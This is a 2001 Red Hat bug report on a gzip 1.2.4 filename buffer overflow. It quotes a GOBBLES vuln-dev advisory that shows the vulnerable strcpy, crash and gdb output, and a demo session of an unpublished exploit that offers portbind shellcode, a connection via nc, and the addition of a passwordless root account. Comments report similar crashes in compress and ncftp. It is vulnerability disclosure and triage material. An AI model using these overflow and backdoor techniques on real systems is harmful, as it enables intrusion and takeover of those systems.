Bug 56455 - potential buffer overflow in gzip 1.2.4a
potential buffer overflow in gzip 1.2.4a
Status: CLOSED CURRENTRELEASE
Product: Red Hat Linux
Classification: Retired
Component: gzip (Show other bugs)
6.2
i386 Linux
high Severity medium
: ---
: ---
Assigned To: Trond Eivind Glomsrxd
Ben Levenson
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2001-11-18 21:05 EST by Alex Butcher
Modified: 2007-03-26 23:49 EDT (History)
0 users

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2001-11-21 16:17:23 EST
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description Alex Butcher 2001-11-18 21:05:50 EST
Description of Problem:

From third-party posting on Vuln-Dev mailing list:

Date: Sun, 18 Nov 2001 20:03:38 GMT
From: vuln-dev <vuln-dev@bugtraq.org>
Reply-To: GOBBLES@hushmail.com
To: vuln-dev@securityfocus.com
Cc: GOBBLES@hushmail.com
Subject: New bugs discovered!
Parts/Attachments:
   1 Shown      8 lines  Text
   2   OK     327 lines  Text
----------------------------------------

GOBBLES security is happy to announce the discovery of multiple bugs in 
/bin/gzip, which can be exploited remotely with a bit of creativity.  
Attached is our advisory on the matter. 

Enjoy the knowledge and remember to use it responsible. 

The GOBBLES Team
www.bugtraq.org 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++GOBBLES+SECURITY+RESEARCH+TEAM+INCORPORATED++++++++++++++
ALERT! ALERT! MUCH NEW BUFFEROVERFLOW FOUND IN /BIN/GZIP! ALERT! ALERT!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Researchers from GOBBLES SECURITY have discovered many bufferoverflow
in /bin/gzip on our Slackware 7.1 server in GOBBLES LABS.  We could not
find a contact email address for the makers of /bin/gzip so instead we
have decided to fully disclose our findings here on the mailing lists
and then we hope that the makers of /bin/gzip will read this and then 
begin to start understanding the concepts of securely programming their
software so that no more systems can be comprimised by their poor 
coding practices.  GOBBLES thinks that experienced programmers who
still let their code get hacked by silly old stack overflows are very
sad and pathetic programmers!  But this is not the time to insult it is
the time to explain how one of the many bug found works and then how
it can be exploited locally then explain why it is a serious bug!  This
hole found by GOBBLES of GOBBLES SECURITY and fully disclosed on his 
groups website www.bugtraq.org and also fully disclosed to the mailing
lists on www.securityfocus.com and can be freely reproduced anywhere
just so long as that you do not try to claim the research of GOBBLES as
your own and you also may not use the information within for any evil 
purposes!  This is a serious matter so please do not dismiss it fast!

OK so here is the story on the gzip holes.  I GOBBLES first want to say
sorry to everyone for my having such bad English!  GOBBLES is still 
learning and should be not made fun of for it please!  Now anyhow about
the bugs here is what happened.

GOBBLES was sitting in his lab all alone one day wondering about 
different ways to break into computer networks when he started thinking
about new ways to hack ftp servers.  Then GOBBLES thought "HEY I KNOW
SOME FTP SERVERS RUN DIFFERENT PROGRAMS FROM THEY OWN DAEMON AND MAYBE
THERE IS WAYS TO GAIN A SHELL ACCESS FROM EXPLOITING A BUFFEROVERFLOW 
IN ONE OF THESE!" So the GOBBLES set out to download many sources for
popular FTP servers to look for the names of other programsthat they 
used and then he found that much of them use /bin/gzip that users on
the ftp server might use to compress files then send them back smaller.
So the GOBBLES decided it was a good idea to take a look at the 
/bin/gzip on the lab computers to decide whether or not it was first
exploitable then to see if he could exploit a FTP daemon with the same
bug.

The first thing GOBBLES do is run gzip -option AAAAAAAAAA style things.  

GOBBLES@LABSLACK:/hacking/gzip$ /bin/gzip -h
gzip 1.2.4 (18 Aug 93)
usage: gzip [-cdfhlLnNrtvV19] [-S suffix] [file ...]
 -c --stdout      write on standard output, keep original files unchanged
 -d --decompress  decompress
 -f --force       force overwrite of output file and compress links
 -h --help        give this help
 -l --list        list compressed file contents
 -L --license     display software license
 -n --no-name     do not save or restore the original name and time stamp
 -N --name        save or restore the original name and time stamp
 -q --quiet       suppress all warnings
 -r --recursive   operate recursively on directories
 -S .suf  --suffix .suf     use suffix .suf on compressed files
 -t --test        test compressed file integrity
 -v --verbose     verbose mode
 -V --version     display version number
 -1 --fast        compress faster
 -9 --best        compress better
 file...          files to (de)compress. If none given, use standard
input.

The first thing that GOBBLES try to do is just run the program with a lot
of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA after it to see if he can get it 
to segmentation fault before trying to bruteforce it with any options.  So
GOBBLES pick a number and do this:

GOBBLES@LABSLACK:/hacking/gzip$ /bin/gzip `perl -e 'print "A" x 2048'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA: File name too long
Segmentation fault

hehe OK so now we know that gzip is a piece shit to segfault so now we
need to figure out how to make an exploit for this bug so we take a look
at gzip.c and we find the following:

...
#define MAX_PATH_LEN   1024  /* max pathname length */
...
    char     nbuf[MAX_PATH_LEN];
...
            strcpy(nbuf,dir);
...

appear to be the bufferoverflow part of the code for the choice.  The
programmer does not think that anyone will be telling gzip to run with a
filename longer than 1024 characters!  Well he is wrong because we are
going to.   

So now we know that the buffer that we need to overflow with must be
bigger than 1024 bytes but exactly how big does it need to be?  Well we
are running on an x86 machine so we know that we must overflow a buffer
with a buffer +4 bytes bigger so it is 1024 + 4 which is equal 1028.

So now it is time to write the GOBBLES exploit for gzip.  A little more 
information will be needed before we smash the gzip stack for fun and
profit so now we will run gdb to find it out.

So now we do this:

GOBBLES@LABSLACK:/hacking/gzip$ gdb /bin/gzip
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i386-slackware-linux"...
(no debugging symbols found)...
(gdb) set args `perl -e 'print "A" x 2048'`
(gdb) run
Starting program: /bin/gzip `perl -e 'print "A" x 2048'`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
warning: shared library handler failed to enable breakpoint
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA: File name too long

Program received signal SIGSEGV, Segmentation fault.
0x40071a47 in ?? ()
(gdb) info reg
eax            0x400fd998       1074780568
ecx            0xbfffc5cc       -1073756724
edx            0x41414141       1094795585
ebx            0x400fe9b4       1074784692
esp            0xbffff210       0xbffff210
ebp            0xbffff21c       0xbffff21c
esi            0x1      1
edi            0x41414139       1094795577
eip            0x40071a47       0x40071a47
eflags         0x10206  66054
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
fctrl          0x37f    895
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
fop            0x0      0
(gdb) (gdb) quit
The program is running.  Exit anyway? (y or n) YES

GOBBLES@LABSLACK:/hacking/gzip$

Hehe now GOBBLES have all the information that he need to write he
exploit!  At this time GOBBLES will not be publishing the exploit because
it is a little tricker than straightforward stack smashing for fun and
profit and he will live figuring it out to you!  Also reasons for not
publishing the exploit include that it could easily be modified to be
abused remotely against certain daemons and could damage a lot of systems
online.  GOBBLES will give vendors a few months to go through and to fix
their products before he release working exploits with more information on
exploiting the daemons.

GOBBLES@LABSLACK:/hacking/gzip$ ls -l *.c
-rw-------   1 GOBBLES  hackers     27164 Nov 17 21:12 bin-gzip-exploit.c

GOBBLES@LABSLACK:/hacking/gzip$ make bin-gzip-exploit
cc     bin-gzip-exploit.c   -o bin-gzip-exploit

GOBBLES@LABSLACK:/hacking/gzip$ ./bin-gzip-exploit

[* Confidential GOBBLES RESEARCH EXPLOIT *]
[* automatic  exploitation for /bin/gzip *]
[* for most operating systems.  No  crap *]
[* like offsets needed.  Run with a -t 0 *]
[* to get a list of shellcode types!     *]
[*                  LOVE,                *]
[*                  GOBBLES@hushmail.com *]
[*                http://www.bugtraq.org *]

GOBBLES@LABSLACK:/hacking/gzip$ ./bin-gzip-exploit -t 0

[* Confidential GOBBLES RESEARCH EXPLOIT *]
[* automatic  exploitation for /bin/gzip *]
[* for most operating systems.  No  crap *]
[* like offsets needed.                  *]
[* -t 1: portbind shellcode to tcp 9119  *]
[* -t 2: execve() of /bin/bash1		 *]
[* -t 3: execve() of /bin/sh		 *]
[* -t 4: useradd GOBBLES to /etc/passwd  *]
[*       and to /etc/shadow with no	 *]
[*       password and uid(0) =)          *]
[*                  LOVE,                *]
[*                  GOBBLES@hushmail.com *]
[*                http://www.bugtraq.org *]

GOBBLES@LABSLACK:/hacking/gzip$ ./bin-gzip-exploit -t 1

[* Confidential GOBBLES RESEARCH EXPLOIT *]
[* automatic  exploitation for /bin/gzip *]
[* for most operating systems.  No  crap *]
[* like offsets needed.                  *]
[* 		
		 *]
[* OK now do like nc -vv localhost 9119  *]
[*                  LOVE,                *]
[*                  GOBBLES@hushmail.com *]
[*                http://www.bugtraq.org *]

GOBBLES@LABSLACK:/hacking/gzip$ nc -vv localhost 9119
localhost [127.0.0.1] 9119 (?) open
id
uid=1000(GOBBLES) gid=1332(hackers) groups=1332(hackers)

So you see it was exploited successfully on my lab computer running
Slackware Linux 7.1.0 =).  The reasons that GOBBLES put portbinding
shellcode into his first demonstration exploits is that he wanted to have
something started for his remote exploitations using the gzip hole.  Now
you ask GOBBLES "this is a stupid bug and it doesn't matter why did you
waste all your time writing this garbage?!?!" so here is the answer again.

Many different Unix services use gzip in different ways such as FTP
daemons who like to let users run gzip and tar on full directories so that
they can let the users download a single nice tarball instead of a lot of
unorganized files and the compression makes the transfers go faster
sometimes.  The idea of researching bufferoverflows in gzip was to find if
there were any and then to see if they can be exploited from ftp
servers.  This is why GOBBLES did put his portbinding shellcode into the
original exploit so that to reduce the amount of work he would have to
make later while modifiying the exploit to work against different ftp
servers.

After a few weeks of studying this hole and variations of it and
implementaitons of gzip on ftp servers the members of GOBBLES security
were able to successfully exploit many ftp servers.  At this time GOBBLES
and GOBBLES members are not ready to list which servers are vulnerable to
the bugs because they have not contacted yet the vendors and programmers
about the holes yet but will soon then a followup advisory will be written
with information on the holes on the different FTP daemons and possibly
after all vendors have issued patches shall we publish the exploits for
each of the ftp servers too.

GOBBLES members also suspect that maybe this bug might be used to remotely
gain access to webservers running Apache and mod_gzip but have not yet
examined this possibilty.  If it is possible then it could be a very dark
day for all of the internet because so many servers might be afflicted
with this bug.  We are doing research on this very bug right now and will
let the security community know that if we find anything.

If you can provide GOBBLES RESEARCH LABS with information on the bug being
present on other operating systems all of us would be very happy with you.
If you would like to join our group please contact GOBBLES via email at
GOBBLES@hushmail.com.  GOBBLES SECURITY is currently looking for exploit
programmers and translators to help make our advisories into easier to
understand English for the security community.

This advisory written mostly by GOBBLES (GOBBLES@hushmail.com).  Please
visit our website at http://www.bugtraq.org for learning more about us!
The members of GOBBLES practice the full disclosure of information but 
not the full disclosure of exploits because we do not want to arm the
many scriptkids of the world with munitions to destroy the internet which
we at GOBBLES love so dearly.

LOVE,
GOBBLES

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++GOBBLES+SECURITY+RESEARCH+TEAM+INCORPORATED++++++++++++++
ALERT! ALERT! MUCH NEW BUFFEROVERFLOW FOUND IN /BIN/GZIP! ALERT! ALERT!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Version-Release number of selected component (if applicable):


How Reproducible:

See advisory. Red Hat 6.2 and earlier include a the same, potentially
vulnerable version of gzip.

Steps to Reproduce:
1. see advisory.
2. 
3. 

Actual Results:

Seg fault.

Expected Results:

As per gzip 1.3 included in RH 7.x; detection of overlong filename and exit
with status 1.

Additional Information:

wu-ftp often uses gzip to compress files on the fly before transfer, making
this potentially remotely exploitable.
Comment 1 Trond Eivind Glomsrxd 2001-11-19 12:21:30 EST
Doesn't wu-ftpd check that the file exists before running gzip on it?
Comment 2 Alex Butcher 2001-11-21 05:02:21 EST
"Doesn't wu-ftpd check that the file exists before running gzip on it?"

I think so, because I saw ftpd making stat64() calls. However, if file upload is
allowed, then this won't provide any defense!

Luckily, in this case, it would appear that wu-ftpd limits FTP command lines to
511 bytes (+ 1 for the NULL), but belt n' suspenders would be a good idea. Also,
I don't know what other FTPDs do.

Also, compress/uncompress have similar problems, even in RH7.2:

$ uncompress `perl -e 'print "A" x 2048'`
Segmentation fault
$ compress `perl -e 'print "A" x 2048'`
Segmentation fault
$ compress -V
Compress version: (N)compress 4.2.4, compiled: Mon Jun 25 04:14:46 EDT 
2001
Compile options:
        FAST, DIRENT, 
        REGISTERS=20 IBUFSIZ=1024, OBUFSIZ=1024, BITS=16
[ ... ]
$ rpm -qif `which compress`
Name        : ncompress                    Relocations: (not relocateable)
Version     : 4.2.4                             Vendor: Red Hat, Inc.
Release     : 24                            Build Date: Mon 25 Jun 2001
09:14:50 BST
[ ... ]

Incidentally, whilst I was testing...

$ ncftp
NcFTP 3.0.3 (April 15, 2001) by Mike Gleason (ncftp@ncftp.com).
ncftp> $AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   
*** Error: getline(): input buffer overflow
$
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA

$ rpm -qif `which ncftp`
Name        : ncftp                        Relocations: /usr 
Version     : 3.0.3                             Vendor: Red Hat, Inc.
Release     : 6                             Build Date: Sat 04 Aug 2001
20:55:09 BST

Probably not exploitable, but...

Shall I open a new bug for those two?


Comment 3 Trond Eivind Glomsrxd 2001-11-21 15:51:25 EST
I fixed ncompress (4.2.4-25), you can open another one for ncftp. I haven't
decided what to do with gzip yet, as you shouldn't be able to exploit it and
crashing your own program isn't that much of a problem.
Comment 4 Alex Butcher 2001-11-21 16:17:16 EST
It's not a problem at the moment, but it might be in the future. One of the
other black/grey/white hats on the vuln-dev list already has some ideas on how
to exploit gzip through wu-ftpd (but he's not giving anything away). And of
course, that's not even considering other networked services that rely upon gzip.

The fix is already in gzip 1.3 (as used in RH7.x), so presumably your concerns
are about backwards compatibility, which I understand.

Your call. :)
Comment 5 Trond Eivind Glomsrxd 2002-07-29 16:16:53 EDT
Closing. DOn't think it can be exploited remotely, it's not suid and we've
updated in the base release some time ago.

Note You need to log in before you can comment on or make changes to this bug.